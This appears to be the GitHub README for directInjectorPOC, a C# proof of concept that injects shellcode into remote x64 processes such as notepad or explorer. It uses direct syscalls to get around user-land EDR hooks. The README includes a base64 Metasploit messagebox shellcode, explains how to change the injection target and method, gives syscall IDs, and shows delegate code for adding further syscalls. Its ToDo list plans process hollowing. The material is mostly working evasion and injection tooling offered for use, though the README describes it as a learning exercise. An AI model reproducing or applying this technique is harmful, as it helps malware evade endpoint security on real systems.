Skip to content

Small POC written in C# that performs shellcode injection on x64 processes using direct syscalls as a way to bypass user-land EDR hooks.

License

Notifications You must be signed in to change notification settings

badBounty/directInjectorPOC

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

20 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

directInjectorPOC

Small program written in C#, compatible with .NET >= v3.5 . Only x64. Works from ws 2008 up to the latest windows 10 update.

Created as a way to learn more about direct syscalls and their implementation in C#.

The program uses direct syscalls to perform the shellcode allocation/injection and the remote thread creation. The only imports are GetSystemInfo, RtlGetVersion and VirtualProtectEx.

The shellcode can be easily generated using tools like donut (https://github.com/TheWover/donut/)

Usage:

Shellcode alloc/injec methods:

  • ALLOCWRITE: Uses NtAllocateVirtualMemory and ZwWriteVirtualMemory to allocate and write the shellcode in the remote process
  • OPENSEC: Uses NtCreateSection to create a new section and NtMapViewOfSection to map it to the local and remote process.

By default the program injects into "notepad" using the ALLOCWRITE write method. This can be easily modified by changing line 18

Inject("notepad", osV, ALLOCWRITE);

can be changed to

Inject("explorer", osV, OPENSEC);

to inject the shellcode into explorer.exe using the OPENSEC method.

The shellcode must be in base64 and assigned to the "s" variable on line 91

//msf messagebox x64
string s = @"/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VZ2F0bwBNZXNzYWdlQm94AA==";

Dev:

Take a look at syscalls.cs. To create a new syscall:

  • Add the syscall ID to each windows version inside the sysDic dictionary.
  • Create its function delegate inside the Delegates struct
  • Create a function thar runs GetDelegateForFunctionPointer and invokes the delegate functions (you can just copy paste any of the current ones and change them a little bit to adjust your needs)
  • If needed, create the required structs inside nativeStructs.cs

For example, if we would like to implement NtClose we can do the following:

...
            { "win10-1507", new Dictionary<string, byte>()
                {
                    { "openprocess",0x26},
                    { "allocatevirtualmem", 0x18},
                    { "writevirtualmem", 0x3A},
                    { "createremthread", 0xB3},
                    { "createsection", 0x4A },
                    { "mapviewofsec", 0x28 },
                    { "close", 0x0F }
                }
            },
...
public struct Delegates{
...
            [SuppressUnmanagedCodeSecurity]
            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
            public delegate int NtClose(IntPtr handler);
...
        public static NTSTATUS NtClose(IntPtr handle, string os)
        {
            byte[] syscall = syscallSkeleton;
            syscall[4] = sysDic[os]["close"];

            unsafe
            {
                fixed (byte* ptr = syscall)
                {

                    IntPtr memoryAddress = (IntPtr)ptr;

                    if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
                        (UIntPtr)syscall.Length, 0x40, out uint oldprotect))
                    {
                        throw new Win32Exception();
                    }

                    Delegates.NtClose myAssemblyFunction = (Delegates.NtClose)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtClose));

                    return (NTSTATUS)myAssemblyFunction(handle);
                }
            }
        }
ToDo:
  • Implement more ways to write our shellcode in a remote process (process hollowing, dll hollowing, etc)
  • New execution methods (steal them from pinjectra :) )
  • Try to avoid the use of VirtualProtectEx when allocating our shellcode
  • Try catch everything just in case
Links of interest:

About

Small POC written in C# that performs shellcode injection on x64 processes using direct syscalls as a way to bypass user-land EDR hooks.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages